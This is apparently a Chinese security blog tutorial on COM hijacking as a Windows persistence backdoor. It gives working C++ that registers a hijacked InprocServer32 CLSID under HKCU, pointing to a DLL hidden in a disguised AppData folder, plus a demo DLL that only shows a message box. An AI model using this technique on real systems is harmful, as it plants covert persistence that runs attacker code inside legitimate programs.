后门及持久化访问4----Com组件劫持

代码及原理介绍

COM是Component Object Model（组件对象模型）的缩写，COM组件由DLL和EXE形式发布的可执行代码所组成。每个COM组件都有一个CLSID，这个CLSID是注册的时候写进注册表的，可以把这个CLSID理解为这个组件最终可以实例化的子类的一个ID。这样就可以通过查询注册表中的CLSID来找到COM组件所在的dll的名称。所以要想COM劫持，必须精心挑选CLSID，尽量选择应用范围广的CLSID。这里，我们选择的CLSID为：{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}，来实现对CAccPropServicesClass 和 MMDeviceEnumerator的劫持。系统很多正常程序启动时需要调用这两个实例。例如计算器。

Dll存放的位置：//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}

接下来就是修改注册表，在指定路径添加文件，具体代码如下：

#include <iostream>
#include <Windows.h> 
#include <string>
using namespace std;

int main(int argc, char* argv[])
{
	string type=argv[1];
	if (argc > 1) {
		HKEY hKey;
		DWORD dwDisposition;
		//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}
		char system1[] = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\qianxiao996.dll";
		char system2[] = "Apartment";
		string defaultPath = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
		string szSaveName = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\qianxiao996.dll";
		if ("-go" == type)
		{
			//string folderPath = defaultPath + "\\testFolder";
			string command;
			command = "mkdir -p " + defaultPath;
			if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
				"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
			{
				printf("创建注册表失败！");
				return 0;
			}
			if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))
			{
				printf("设置DLL文件失败！");
				return 0;
			}
			if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))
			{
				printf("设置ThreadingModel失败！");
				return 0;
			}
			::MessageBoxA(NULL, "comHijacking OK!", "OK", MB_OK);
		}
		if ("-down" == type)
		{
			if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
				"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
			{
				printf("创建注册表失败！");
				return 0;
			}
			if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
			{
				printf("移除DLL文件失败！");
				return 0;
			}
			if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))
			{
				printf("移除ThreadingModel失败！");
				return 0;
			}
			remove(szSaveName.c_str());
			remove(defaultPath.c_str());
			::MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK);
		}
	}
	//system("pause");
	else
	{
		printf("Usage:\n	comHijacking.exe -go 进行COM劫持\n	comHijacking.exe -down 移除COM劫持");
	}
	return 0;
}

别问我为什么不写在两个函数里，因为我不会。

DLL文件代码（这里的DLL代码就是用的上次的那个DLL文件）

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
	MessageBoxA(0, "hello qianxiao996", "AppCert", 0);
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}